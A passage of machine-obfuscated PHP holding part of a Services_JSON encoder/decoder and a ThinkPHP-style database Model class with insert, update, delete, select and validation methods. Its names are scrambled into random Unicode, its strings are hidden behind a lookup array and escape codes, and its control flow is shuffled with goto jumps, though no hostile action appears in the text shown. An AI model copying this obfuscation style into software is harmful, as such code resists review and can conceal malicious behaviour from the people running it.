1)) { $EȾ᪥ = array_map(array($this, $EŔ[1914]), array_keys($Eܵ), array_values($Eܵ)); foreach ($EȾ᪥ as $a) { if (Services_JSON::isError($a)) { return $a; } } return $EŔ[1060] . join($EŔ[47], $EȾ᪥) . $EŔ[312]; } $E = array_map(array($this, $EŔ[1915]), $Eܵ); foreach ($E as $EŠ) { if (Services_JSON::isError($EŠ)) { return $EŠ; } } return $EŔ[154] . join($EŔ[47], $E) . $EŔ[472]; case $EŔ[1916]: $eȣ = get_object_vars($Eܵ); $EȾ᪥ = array_map(array($this, $EŔ[1914]), array_keys($eȣ), array_values($eȣ)); foreach ($EȾ᪥ as $a) { if (Services_JSON::isError($a)) { return $a; } } return $EŔ[1060] . join($EŔ[47], $EȾ᪥) . $EŔ[312]; default: return $this->use & SERVICES_JSON_SUPPRESS_ERRORS ? $EŔ[101] : new Services_JSON_Error(gettype($Eܵ) . $EŔ[1917]); } } function name_value($b٣, $dއԈ) { $F̽ = $this->encode($dއԈ); if (Services_JSON::isError($F̽)) { return $F̽; } return $this->encode(strval($b٣)) . $_SERVER[ڊ][4] . $F̽; } function reduce_string($bωҸ) { $d =& $_SERVER[ڊ]; $bωҸ = preg_replace(array($d[1918], $d[1919], $d[1920]), $d[33], $bωҸ); return trim($bωҸ); } function decode($a) { $e =& $_SERVER[ڊ]; $a = $this->reduce_string($a); switch (strtolower($a)) { case $e[1568]: return !0; case $e[1570]: return !1; case $e[101]: return null; default: $Fڅ = array(); if (is_numeric($a)) { return (double) $a == (int) $a ? (int) $a : (double) $a; } elseif (preg_match($e[1921], $a, $Fڅ) && $Fڅ[1] == $Fڅ[2]) { $f = substr($a, 0, 1); $cی = substr($a, 1, -1); $F፱ = $e[33]; $A = strlen($cی); for ($f = 0; $f < $A; ++$f) { $CÈܒ = substr($cی, $f, 2); $Fà = ord($cی[$f]); switch (!0) { case $CÈܒ == $e[1909]: $F፱ .= chr(8); ++$f; break; case $CÈܒ == $e[1545]: $F፱ .= chr(9); ++$f; break; case $CÈܒ == $e[1543]: $F፱ .= chr(10); ++$f; break; case $CÈܒ == $e[1910]: $F፱ .= chr(12); ++$f; break; case $CÈܒ == $e[1544]: $F፱ .= chr(13); ++$f; break; case $CÈܒ == $e[1328]: case $CÈܒ == $e[1922]: case $CÈܒ == $e[1538]: case $CÈܒ == $e[1540]: if ($f == $e[113] && $CÈܒ != $e[1922] || $f == $e[55] && $CÈܒ != $e[1328]) { $F፱ .= $cی[++$f]; } break; case preg_match($e[1923], substr($cی, $f, 6)): $CӃշ = chr(hexdec(substr($cی, $f + 2, 2))) . chr(hexdec(substr($cی, $f + 4, 2))); $F፱ .= $this->utf162utf8($CӃշ); $f += 5; break; case $Fà >= 32 && $Fà <= 127: $F፱ .= $cی[$f]; break; case ($Fà & 224) == 192: $F፱ .= substr($cی, $f, 2); ++$f; break; case ($Fà & 240) == 224: $F፱ .= substr($cی, $f, 3); $f += 2; break; case ($Fà & 248) == 240: $F፱ .= substr($cی, $f, 4); $f += 3; break; case ($Fà & 252) == 248: $F፱ .= substr($cی, $f, 5); $f += 4; break; case ($Fà & 254) == 252: $F፱ .= substr($cی, $f, 6); $f += 5; break; } } return $F፱; } elseif (preg_match($e[1924], $a) || preg_match($e[1925], $a)) { goto E; E: if ($a[0] == $e[154]) { $EՔ = array(SERVICES_JSON_IN_ARR); $Cޯʐ = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $EՔ = array(SERVICES_JSON_IN_OBJ); $a֣ = array(); } else { $EՔ = array(SERVICES_JSON_IN_OBJ); $a֣ = new stdClass(); } } array_push($EՔ, array($e[1926] => SERVICES_JSON_SLICE, $e[260] => 0, $e[1927] => !1)); $cی = substr($a, 1, -1); goto f; f: $cی = $this->reduce_string($cی); if ($cی == $e[33]) { if (reset($EՔ) == SERVICES_JSON_IN_ARR) { return $Cޯʐ; } else { return $a֣; } } $A = strlen($cی); goto b; b: for ($f = 0; $f <= $A; ++$f) { $dҨ = end($EՔ); $CÈܒ = substr($cی, $f, 2); if ($f == $A || $cی[$f] == $e[47] && $dҨ[$e[1926]] == SERVICES_JSON_SLICE) { $c؇ۥ = substr($cی, $dҨ[$e[260]], $f - $dҨ[$e[260]]); array_push($EՔ, array($e[1926] => SERVICES_JSON_SLICE, $e[260] => $f + 1, $e[1927] => !1)); if (reset($EՔ) == SERVICES_JSON_IN_ARR) { array_push($Cޯʐ, $this->decode($c؇ۥ)); } elseif (reset($EՔ) == SERVICES_JSON_IN_OBJ) { $c = array(); if (preg_match($e[1928], $c؇ۥ, $c)) { $E٣ = $this->decode($c[1]); $DǦ = $this->decode($c[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $a֣[$E٣] = $DǦ; } else { $a֣->{$E٣} = $DǦ; } } elseif (preg_match($e[1929], $c؇ۥ, $c)) { $E٣ = $c[1]; $DǦ = $this->decode($c[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $a֣[$E٣] = $DǦ; } else { $a֣->{$E٣} = $DǦ; } } } } elseif (($cی[$f] == $e[113] || $cی[$f] == $e[55]) && $dҨ[$e[1926]] != SERVICES_JSON_IN_STR) { array_push($EՔ, array($e[1926] => SERVICES_JSON_IN_STR, $e[260] => $f, $e[1927] => $cی[$f])); } elseif ($cی[$f] == $dҨ[$e[1927]] && $dҨ[$e[1926]] == SERVICES_JSON_IN_STR && (strlen(substr($cی, 0, $f)) - strlen(rtrim(substr($cی, 0, $f), $e[95]))) % 2 != 1) { array_pop($EՔ); } elseif ($cی[$f] == $e[154] && in_array($dҨ[$e[1926]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($EՔ, array($e[1926] => SERVICES_JSON_IN_ARR, $e[260] => $f, $e[1927] => !1)); } elseif ($cی[$f] == $e[472] && $dҨ[$e[1926]] == SERVICES_JSON_IN_ARR) { array_pop($EՔ); } elseif ($cی[$f] == $e[1060] && in_array($dҨ[$e[1926]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($EՔ, array($e[1926] => SERVICES_JSON_IN_OBJ, $e[260] => $f, $e[1927] => !1)); } elseif ($cی[$f] == $e[312] && $dҨ[$e[1926]] == SERVICES_JSON_IN_OBJ) { array_pop($EՔ); } elseif ($CÈܒ == $e[1930] && in_array($dҨ[$e[1926]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($EՔ, array($e[1926] => SERVICES_JSON_IN_CMT, $e[260] => $f, $e[1927] => !1)); $f++; } elseif ($CÈܒ == $e[1931] && $dҨ[$e[1926]] == SERVICES_JSON_IN_CMT) { array_pop($EՔ); $f++; for ($a = $dҨ[$e[260]]; $a <= $f; ++$a) { $cی = substr_replace($cی, $e[50], $a, 1); } } } if (reset($EՔ) == SERVICES_JSON_IN_ARR) { return $Cޯʐ; } elseif (reset($EՔ) == SERVICES_JSON_IN_OBJ) { return $a֣; } goto D憝; D憝: } } } function isError($B׳, $E = null) { $E͏ō =& $_SERVER[ڊ]; if (class_exists($E͏ō[1932])) { return PEAR::isError($B׳, $E); } elseif (is_object($B׳) && (get_class($B׳) == $E͏ō[1933] || is_subclass_of($B׳, $E͏ō[1933]))) { return !0; } return !1; } } if (class_exists($_SERVER[ڊ][1934])) { class Services_JSON_Error extends PEAR_Error { function __construct($b = "\x75\x6e\153\x6e\x6f\167\156\x20\x65\x72\x72\157\x72", $eռ = null, $eŠ = null, $Bٙ = null, $EЛ = null) { parent::PEAR_Error($b, $eռ, $eŠ, $Bٙ, $EЛ); } } } else { class Services_JSON_Error { function __construct($fȎС = "\165\x6e\153\156\x6f\167\x6e\40\x65\x72\x72\157\x72", $cȋ̋ë = null, $bϗ = null, $Aɾ = null, $bͬ۟ = null) { } } } goto Bު͍; c睔: define($_SERVER[ڊ][227], 0); define($_SERVER[ڊ][228], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\142\x6c\x65", "\x6f\x72\144\145\x72", "\141\154\x69\141\x73", "\x68\141\166\151\156\147", "\147\x72\157\x75\x70", "\154\x6f\x63\x6b", "\144\151\x73\164\151\156\143\164", "\x61\x75\164\x6f", "\x66\151\154\164\x65\162", "\166\141\154\x69\144\x61\x74\145", "\162\x65\x73\x75\x6c\164", "\142\x69\156\x64", "\x74\x6f\153\145\156"); public function __construct($Dɘ = '', $e՘͓ = '', $e = '') { $b鈯ݼ =& $_SERVER[ڊ]; $this->_initialize(); if (!empty($Dɘ)) { if (strpos($Dɘ, $b鈯ݼ[93])) { list($this->dbName, $this->name) = explode($b鈯ݼ[93], $Dɘ); } else { $this->name = $Dɘ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($e՘͓)) { $this->tablePrefix = $b鈯ݼ[33]; } elseif ($b鈯ݼ[33] != $e՘͓) { $this->tablePrefix = $e՘͓; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($b鈯ݼ[229]); } $this->db(0, empty($this->connection) ? $e : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $c =& $_SERVER[ڊ]; if (empty($this->fields)) { if (think_config($c[230])) { $A˜삊 = $this->dbName ? $this->dbName : think_config($c[231]); $eް = think_var_cache($c[232] . strtolower(get_path_this($A˜삊) . $c[93] . $this->name)); if ($eް) { $cɃ = think_config($c[233]); if (empty($cɃ) || $eް[$c[234]] == $cɃ) { $this->fields = $eް; return; } } } $this->flush(); } } public function flush() { goto Cʳ; Cʳ: $Aҡ撯 =& $_SERVER[ڊ]; $this->db->setModel($this->name); $eۊ = $this->db->getFields($this->getTableName()); goto Fڏ; Cᒂ: foreach ($eۊ as $c => $cۥȞ) { $bį[$c] = $cۥȞ[$Aҡ撯[29]]; if ($cۥȞ[$Aҡ撯[36]]) { $this->fields[$Aҡ撯[236]] = $c; if ($cۥȞ[$Aҡ撯[39]]) { $this->fields[$Aҡ撯[235]] = !0; } } } $this->fields[$Aҡ撯[237]] = $bį; if (think_config($Aҡ撯[233])) { $this->fields[$Aҡ撯[234]] = think_config($Aҡ撯[233]); } goto C; C: if (think_config($Aҡ撯[230])) { $A띰鱆 = $this->dbName ? $this->dbName : think_config($Aҡ撯[231]); think_var_cache($Aҡ撯[232] . strtolower(get_path_this($A띰鱆) . $Aҡ撯[93] . $this->name), $this->fields); } goto A; Fڏ: if (!$eۊ) { return !1; } $this->fields = array_keys($eۊ); $this->fields[$Aҡ撯[235]] = !1; goto Cᒂ; A: } public function switchModel($C, $cִݞ = array()) { $aؤ =& $_SERVER[ڊ]; $f돑 = ucwords(strtolower($C)) . $aؤ[238]; if (!class_exists($f돑)) { think_exception($f돑 . think_lang($aؤ[239])); } $this->_extModel = new $f돑($this->name); if (!empty($cִݞ)) { foreach ($cִݞ as $a) { $this->_extModel->setProperty($a, $this->{$a}); } } return $this->_extModel; } public function __set($fԇљ, $fч) { $this->data[$fԇљ] = $fч; } public function __get($b) { return isset($this->data[$b]) ? $this->data[$b] : null; } public function __isset($A߳) { return isset($this->data[$A߳]); } public function __unset($c) { unset($this->data[$c]); } public function __call($dʄ, $f僇) { $a֖ =& $_SERVER[ڊ]; if (in_array(strtolower($dʄ), $this->methods, !0)) { $this->options[strtolower($dʄ)] = $f僇[0]; return $this; } elseif (in_array(strtolower($dʄ), array($a֖[240], $a֖[241], $a֖[242], $a֖[243], $a֖[244]), !0)) { $Aݹ = isset($f僇[0]) ? $f僇[0] : $a֖[173]; $Aݹ = $this->db->parseKey($Aݹ); return $this->getField(strtoupper($dʄ) . $a֖[245] . $Aݹ . $a֖[246] . $dʄ, $a֖[240]); } elseif (strtolower(substr($dʄ, 0, 5)) == $a֖[247]) { $Aݹ = think_parse_name(substr($dʄ, 5)); $A[$Aݹ] = $f僇[0]; return $this->where($A)->find(); } elseif (strtolower(substr($dʄ, 0, 10)) == $a֖[248]) { $D = think_parse_name(substr($dʄ, 10)); $A[$D] = $f僇[0]; return $this->where($A)->getField($f僇[1]); } elseif (isset($this->_scope[$dʄ])) { return $this->scope($dʄ, $f僇[0]); } elseif (method_exists($this, $dʄ)) { array_unshift($f僇, $dʄ); return call_user_func_array(array($this, $a֖[249]), $f僇); } else { return call_user_func_array(array(parent, $dʄ), $f僇); } } protected function call() { goto fͦ; fͦ: $BĎ =& $_SERVER[ڊ]; $D튇 = func_get_args(); $FÍ = array_shift($D튇); goto Dɴβ; C: if (isset($D튇[$bӹ]) && $D튇[$bӹ] === $FÍ) { think_exception(__CLASS__ . $BĎ[4] . $FÍ . think_lang($BĎ[250])); return; } $D튇[] = $FÍ; if (method_exists($this, $BĎ[251])) { $e㽜 = call_user_func_array(array($this, $BĎ[252]), array($c٘, $D튇)); if (!is_null($e㽜) && $e㽜 !== !1) { return $e㽜; } } goto D¯; D¯: $Eؐ = call_user_func_array(array($this, $FÍ), $D튇); if (method_exists($this, $BĎ[253])) { $e㽜 = call_user_func_array(array($this, $BĎ[254]), array($c٘, $D튇, $Eؐ)); if ($e㽜) { return $e㽜; } } return $Eؐ; goto FƏ; Dɴβ: $c٘ = $FÍ; if (is_array($FÍ)) { $c٘ = $FÍ[1]; $FÍ = $FÍ[0]; } $bӹ = count($D튇) - 1; goto C; FƏ: } protected function _initialize() { } protected function _facade($fԽ) { $A㈷ =& $_SERVER[ڊ]; if (!empty($this->fields)) { foreach ($fԽ as $e訖 => $e) { if (!in_array($e訖, $this->fields, !0)) { unset($fԽ[$e訖]); } elseif (is_scalar($e)) { $this->_parseType($fԽ, $e訖); } } } if (!empty($this->options[$A㈷[255]])) { $fԽ = array_map($this->options[$A㈷[255]], $fԽ); unset($this->options[$A㈷[255]]); } $this->_beforeWrite($fԽ); return $fԽ; } protected function _beforeWrite(&$F指) { } public function add($B = '', $E = array(), $fկ» = false) { goto Eɑ; Eɑ: if (empty($B)) { if (!empty($this->data)) { $B = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ڊ][256]); return !1; } } $E = $this->_parseOptions($E); $B = $this->_facade($B); goto e䰯⵱; e䰯⵱: if (!1 === $this->_beforeInsert($B, $E)) { return !1; } $e󶗌 = $this->db->insert($B, $E, $fկ»); if (!1 !== $e󶗌) { $E = $this->getLastInsID(); if ($E) { $B[$this->getPk()] = $E; $this->_after_insert($B, $E); return $E; } $this->_after_insert($B, $E); } goto fܰ; fܰ: return $e󶗌; goto E; E: } protected function _beforeInsert(&$bǵ, $eٹ) { } protected function _after_insert($FҴԙ, $eֽ윐) { } public function addAll($e۟Ր֌, $A = array(), $AǕ = false) { goto fō; fō: $bɂЃϗ =& $_SERVER[ڊ]; if (empty($e۟Ր֌)) { $this->error = think_lang($bɂЃϗ[256]); return !1; } $A = $this->_parseOptions($A); goto Aγ; a: return $B݅; goto c߯; Aγ: foreach ($e۟Ր֌ as $c => $aˍ܅) { $e۟Ր֌[$c] = $this->_facade($aˍ܅); } if (method_exists($this->db, $bɂЃϗ[257])) { $B݅ = $this->db->insertAll($e۟Ր֌, $A, $AǕ); } else { $this->startTrans(); foreach ($e۟Ր֌ as $c => $aˍ܅) { $B݅ = $this->db->insert($aˍ܅, $A, $AǕ); } $this->commit(); } if (!1 !== $B݅) { $bӕ = $this->getLastInsID(); if ($bӕ) { return $bӕ; } } goto a; c߯: } public function selectAdd($Eխީ = '', $D = '', $bƺ = array()) { $fΨ =& $_SERVER[ڊ]; $bƺ = $this->_parseOptions($bƺ); if (!1 === ($A닮 = $this->db->selectInsert($Eխީ ? $Eխީ : $bƺ[$fΨ[258]], $D ? $D : $this->getTableName(), $bƺ))) { $this->error = think_lang($fΨ[259]); return !1; } else { return $A닮; } } public function save($eݞ = '', $A = array()) { goto F˄; A: if (is_array($A[$Bև[260]]) && isset($A[$Bև[260]][$D])) { $BԌ = $A[$Bև[260]][$D]; } if (!1 === $this->_beforeUpdate($eݞ, $A)) { return !1; } $B䨶õ = $this->db->update($eݞ, $A); goto C⅜ħ; cҭׇ: $A = $this->_parseOptions($A); $D = $this->getPk(); if (!isset($A[$Bև[260]])) { if (isset($eݞ[$D])) { $b[$D] = $eݞ[$D]; $A[$Bև[260]] = $b; unset($eݞ[$D]); } else { $this->error = think_lang($Bև[259]); return !1; } } goto A; F˄: $Bև =& $_SERVER[ڊ]; if (empty($eݞ)) { if (!empty($this->data)) { $eݞ = $this->data; $this->data = array(); } else { $this->error = think_lang($Bև[256]); return !1; } } $eݞ = $this->_facade($eݞ); goto cҭׇ; C⅜ħ: if (!1 !== $B䨶õ) { if (isset($BԌ)) { $eݞ[$D] = $BԌ; } $this->_afterUpdate($eݞ, $A); } return $B䨶õ; goto c㭩; c㭩: } protected function _beforeUpdate(&$cќ, $dʱ) { } protected function _afterUpdate($eڈ빃, $Aь) { } public function delete($DΣϸ = array()) { goto eٿ҇; A׋Ԑ΢: if (is_numeric($DΣϸ) || is_string($DΣϸ)) { if (strpos($DΣϸ, $Bӫ[47])) { $B悫[$CЦ縆] = array($Bӫ[261], $DΣϸ); } else { $B悫[$CЦ縆] = $DΣϸ; } $this->options[$Bӫ[260]] = $B悫; } $DΣϸ = $this->_parseOptions(); if (is_array($DΣϸ[$Bӫ[260]]) && isset($DΣϸ[$Bӫ[260]][$CЦ縆])) { $dᆨ = $DΣϸ[$Bӫ[260]][$CЦ縆]; } goto C䤩ߥ; eٿ҇: $Bӫ =& $_SERVER[ڊ]; if (empty($DΣϸ) && empty($this->options[$Bӫ[260]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $CЦ縆 = $this->getPk(); goto A׋Ԑ΢; C䤩ߥ: $A = $this->db->delete($DΣϸ); if (!1 !== $A) { $a엷 = array(); if (isset($dᆨ)) { $a엷[$CЦ縆] = $dᆨ; } $this->_after_delete($a엷, $DΣϸ); } return $A; goto c䐩; c䐩: } protected function _after_delete($d, $b校) { } public function select($Aͦ = array()) { goto B܉£; b؏: $EƦ = $this->db->select($Aͦ); if (!1 === $EƦ) { return !1; } if (empty($EƦ)) { return null; } goto B; B܉£: $a͊ =& $_SERVER[ڊ]; if (is_string($Aͦ) || is_numeric($Aͦ)) { $Bߐ = $this->getPk(); if (strpos($Aͦ, $a͊[47])) { $e[$Bߐ] = array($a͊[261], $Aͦ); } else { $e[$Bߐ] = $Aͦ; } $this->options[$a͊[260]] = $e; } elseif (!1 === $Aͦ) { $Aͦ = $this->_parseOptions(); return $a͊[262] . $this->db->buildSelectSql($Aͦ) . $a͊[263]; } $Aͦ = $this->_parseOptions(); goto b؏; B: $this->_afterSelect($EƦ, $Aͦ); return $EƦ; goto C̏߈; C̏߈: } protected function _afterSelect(&$Cę, $D±) { } public function buildSql($dݍٖ = array()) { $B =& $_SERVER[ڊ]; $dݍٖ = $this->_parseOptions($dݍٖ); return $B[262] . $this->db->buildSelectSql($dݍٖ) . $B[263]; } public function optionsValue($eɾÚ݄ = null) { if (is_null($eɾÚ݄)) { return $this->options; } elseif (is_array($eɾÚ݄)) { $this->options = array_merge($this->options, $eɾÚ݄); } } protected function _parseOptions($eĴ = array()) { goto EنŤ; eه‰: if (isset($eĴ[$e̬[260]]) && is_array($eĴ[$e̬[260]]) && !empty($aȚ) && !isset($eĴ[$e̬[267]]) && !isset($eĴ[$e̬[264]])) { foreach ($eĴ[$e̬[260]] as $d => $f) { $d = trim($d); if (in_array($d, $aȚ, !0)) { if (is_scalar($f)) { $this->_parseType($eĴ[$e̬[260]], $d); } } elseif (!is_numeric($d) && $e̬[70] != substr($d, 0, 1) && !1 === strpos($d, $e̬[93]) && !1 === strpos($d, $e̬[245]) && !1 === strpos($d, $e̬[268]) && !1 === strpos($d, $e̬[269])) { unset($eĴ[$e̬[260]][$d]); } } } $this->_options_filter($eĴ); return $eĴ; goto d଎; EنŤ: $e̬ =& $_SERVER[ڊ]; if (is_array($eĴ)) { $eĴ = array_merge($this->options, $eĴ); } $this->options = array(); goto D牵; D牵: if (!isset($eĴ[$e̬[264]])) { $eĴ[$e̬[264]] = $this->getTableName(); $aȚ = $this->fields; } else { $aȚ = $this->getDbFields(); } if (!empty($eĴ[$e̬[265]])) { $eĴ[$e̬[264]] .= $e̬[50] . $eĴ[$e̬[265]]; } $eĴ[$e̬[266]] = $this->name; goto eه‰; d଎: } protected function _options_filter(&$f) { } protected function _parseType(&$b, $Bɞ) { $f =& $_SERVER[ڊ]; if (empty($this->options[$f[270]][$f[4] . $Bɞ])) { $bڑ = strtolower($this->fields[$f[237]][$Bɞ]); if (!1 !== strpos($bڑ, $f[271])) { } elseif (!1 === strpos($bڑ, $f[272]) && !1 !== strpos($bڑ, $f[273])) { $b[$Bɞ] = intval($b[$Bɞ]); } elseif (!1 !== strpos($bڑ, $f[274]) || !1 !== strpos($bڑ, $f[275])) { $b[$Bɞ] = floatval($b[$Bɞ]); } elseif (!1 !== strpos($bڑ, $f[276])) { $b[$Bɞ] = (bool) $b[$Bɞ]; } } } public function find($A蓎 = array()) { goto fچ; fچ: $ä́ =& $_SERVER[ڊ]; if (is_numeric($A蓎) || is_string($A蓎)) { $eǩ[$this->getPk()] = intval($A蓎); $this->options[$ä́[260]] = $eǩ; } $this->options[$ä́[277]] = 1; goto A; c: if (empty($bɇ)) { return null; } $this->data = $bɇ[0]; $this->_afterFind($this->data, $A蓎); goto b¼; b¼: if (!empty($this->options[$ä́[278]])) { return $this->returnResult($this->data, $this->options[$ä́[278]]); } return $this->data; goto bӑǥ; A: $A蓎 = $this->_parseOptions(); $bɇ = $this->db->select($A蓎); if (!1 === $bɇ) { return !1; } goto c; bӑǥ: } protected function _afterFind(&$dܵű, $Cއ܍) { } protected function returnResult($c, $Aެߡ = '') { $B㩵 =& $_SERVER[ڊ]; if ($Aެߡ) { if (is_callable($Aެߡ)) { return call_user_func($Aެߡ, $c); } switch (strtolower($Aެߡ)) { case $B㩵[279]: return json_encode($c); case $B㩵[280]: return xml_encode($c); } } return $c; } public function parseFieldsMap($B­׳, $bƈ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $D̂ => $c؈Φ) { if ($bƈ == 1) { if (isset($B­׳[$c؈Φ])) { $B­׳[$D̂] = $B­׳[$c؈Φ]; unset($B­׳[$c؈Φ]); } } else { if (isset($B­׳[$D̂])) { $B­׳[$c؈Φ] = $B­׳[$D̂]; unset($B­׳[$D̂]); } } } } return $B­׳; } public function setField($bԗ, $Aޝڒ = '') { if (is_array($bԗ)) { $C = $bԗ; } else { $C[$bԗ] = $Aޝڒ; } return $this->save($C); } public function setAdd($aӺĪ, $F솟 = 1) { $BȪ =& $_SERVER[ڊ]; $AĚ = $aӺĪ . $BȪ[281] . $F솟; if ($F솟 < 0) { $AĚ = $aӺĪ . $F솟; } return $this->setField($aӺĪ, array($BȪ[282], $AĚ)); } public function getField($D, $f = null) { $E =& $_SERVER[ڊ]; $Bʩ[$E[258]] = $D; $Bʩ = $this->_parseOptions($Bʩ); $D = trim($D); if (strpos($D, $E[47])) { if (!isset($Bʩ[$E[277]])) { $Bʩ[$E[277]] = is_numeric($f) ? $f : $E[33]; } $dܑ = $this->db->select($Bʩ); if (!empty($dܑ)) { goto Fƽ; bݩ: $fŎح = array_shift($D); $B؈ = array(); $C = count($F); goto F; Fƽ: $F = explode($E[47], $D); $D = array_keys($dܑ[0]); $dǧ = array_shift($D); goto bݩ; F: foreach ($dܑ as $cщ) { $A = $cщ[$dǧ]; if (2 == $C) { $B؈[$A] = $cщ[$fŎح]; } else { $B؈[$A] = is_string($f) ? implode($f, $cщ) : $cщ; } } return $B؈; goto c򆋆; c򆋆: } } else { if (!0 !== $f) { $Bʩ[$E[277]] = is_numeric($f) ? $f : 1; } if ($f === $E[240]) { unset($Bʩ[$E[277]]); } $cщ = $this->db->select($Bʩ); if (!empty($cщ)) { if ($f === $E[240]) { return reset($cщ[0]); } if (!0 !== $f && 1 == $Bʩ[$E[277]]) { return reset($cщ[0]); } foreach ($cщ as $Eɔ) { $Dɽ[] = $Eɔ[$D]; } return $Dɽ; } } return null; } public function create($c΄ = '', $a = '') { goto b; e҈: return $c΄; goto C; Cз: $c΄ = $this->parseFieldsMap($c΄, 0); $a = $a ? $a : (!empty($c΄[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$eʂ[258]])) { $Fܺ߭ = $this->options[$eʂ[258]]; unset($this->options[$eʂ[258]]); } elseif ($a == THINK_MODEL_INSERT && isset($this->insertFields)) { $Fܺ߭ = $this->insertFields; } elseif ($a == THINK_MODEL_UPDATE && isset($this->updateFields)) { $Fܺ߭ = $this->updateFields; } goto D; E: if ($this->autoCheckFields) { $Fܺ߭ = $this->getDbFields(); foreach ($c΄ as $C => $eɌ) { if (!in_array($C, $Fܺ߭)) { unset($c΄[$C]); } elseif (MAGIC_QUOTES_GPC && is_string($eɌ)) { $c΄[$C] = stripslashes($eɌ); } } } $this->autoOperation($c΄, $a); $this->data = $c΄; goto e҈; D: if (isset($Fܺ߭)) { if (is_string($Fܺ߭)) { $Fܺ߭ = explode($eʂ[47], $Fܺ߭); } if (think_config($eʂ[283])) { $Fܺ߭[] = think_config($eʂ[284]); } foreach ($c΄ as $C => $eɌ) { if (!in_array($C, $Fܺ߭)) { unset($c΄[$C]); } } } if (!$this->autoValidation($c΄, $a)) { return !1; } if (!$this->autoCheckToken($c΄)) { $this->error = think_lang($eʂ[285]); return !1; } goto E; b: $eʂ =& $_SERVER[ڊ]; if (empty($c΄)) { $c΄ = $_POST; } elseif (is_object($c΄)) { $c΄ = get_object_vars($c΄); } if (empty($c΄) || !is_array($c΄)) { $this->error = think_lang($eʂ[256]); return !1; } goto Cз; C: } public function autoCheckToken($f؅ݺ) { $Dڕ =& $_SERVER[ڊ]; if (isset($this->options[$Dڕ[286]]) && !$this->options[$Dڕ[286]]) { return !0; } if (think_config($Dڕ[283])) { $a = think_config($Dڕ[284]); if (!isset($f؅ݺ[$a]) || Session::get($a)) { return !1; } list($e, $DԢ) = explode($Dڕ[70], $f؅ݺ[$a]); if ($DԢ && Session::get($a . $Dڕ[93] . $e) === $DԢ) { Session::remove($a . $Dڕ[93] . $e); return !0; } if (think_config($Dڕ[287])) { Session::remove($a . $Dڕ[93] . $e); } return !1; } return !0; } public function regex($B˂ܞ, $B毢) { $dڮٞ =& $_SERVER[ڊ]; $d = array($dڮٞ[288] => $dڮٞ[289], $dڮٞ[290] => $dڮٞ[291], $dڮٞ[292] => $dڮٞ[293], $dڮٞ[294] => $dڮٞ[295], $dڮٞ[296] => $dڮٞ[297], $dڮٞ[298] => $dڮٞ[299], $dڮٞ[300] => $dڮٞ[301], $dڮٞ[275] => $dڮٞ[302], $dڮٞ[303] => $dڮٞ[304]); if (isset($d[strtolower($B毢)])) { $B毢 = $d[strtolower($B毢)]; } return preg_match($B毢, $B˂ܞ) === 1; } private function autoOperation(&$B, $B喔) { $F؄٨ =& $_SERVER[ڊ]; if (!empty($this->options[$F؄٨[305]])) { $fƔ = $this->options[$F؄٨[305]]; unset($this->options[$F؄٨[305]]); } elseif (!empty($this->_auto)) { $fƔ = $this->_auto; } if (isset($fƔ)) { foreach ($fƔ as $Dlj) { if (empty($Dlj[2])) { $Dlj[2] = THINK_MODEL_INSERT; } if ($B喔 == $Dlj[2] || $Dlj[2] == THINK_MODEL_BOTH) { switch (trim($Dlj[3])) { case $F؄٨[306]: case $F؄٨[307]: $a = isset($Dlj[4]) ? (array) $Dlj[4] : array(); if (isset($B[$Dlj[0]])) { array_unshift($a, $B[$Dlj[0]]); } if ($F؄٨[306] == $Dlj[3]) { $B[$Dlj[0]] = call_user_func_array($Dlj[1], $a); } else { $B[$Dlj[0]] = call_user_func_array(array(&$this, $Dlj[1]), $a); } break; case $F؄٨[258]: $B[$Dlj[0]] = $B[$Dlj[1]]; break; case $F؄٨[308]: if ($F؄٨[33] === $B[$Dlj[0]]) { unset($B[$Dlj[0]]); } break; case $F؄٨[309]: default: $B[$Dlj[0]] = $Dlj[1]; } if (!1 === $B[$Dlj[0]]) { unset($B[$Dlj[0]]); } } } } return $B; } protected function autoValidation($C, $c) { $eڧɣ =& $_SERVER[ڊ]; if (!empty($this->options[$eڧɣ[310]])) { $B = $this->options[$eڧɣ[310]]; unset($this->options[$eڧɣ[310]]); } elseif (!empty($this->_validate)) { $B = $this->_validate; } if (isset($B)) { if ($this->patchValidate) { $this->error = array(); } foreach ($B as $Dё => $e) { if (empty($e[5]) || $e[5] == THINK_MODEL_BOTH || $e[5] == $c) { if (0 == strpos($e[2], $eڧɣ[311]) && strpos($e[2], $eڧɣ[312])) { $e[2] = think_lang(substr($e[2], 2, -1)); } $e[3] = isset($e[3]) ? $e[3] : THINK_EXISTS_VALIDATE; $e[4] = isset($e[4]) ? $e[4] : $eڧɣ[313]; switch ($e[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($C, $e)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($eڧɣ[33] != trim($C[$e[0]])) { if (!1 === $this->_validationField($C, $e)) { return !1; } } break; default: if (isset($C[$e[0]])) { if (!1 === $this->_validationField($C, $e)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($Bï, $e߫) { if (!1 === $this->_validationFieldItem($Bï, $e߫)) { if ($this->patchValidate) { $this->error[$e߫[0]] = $e߫[2]; } else { 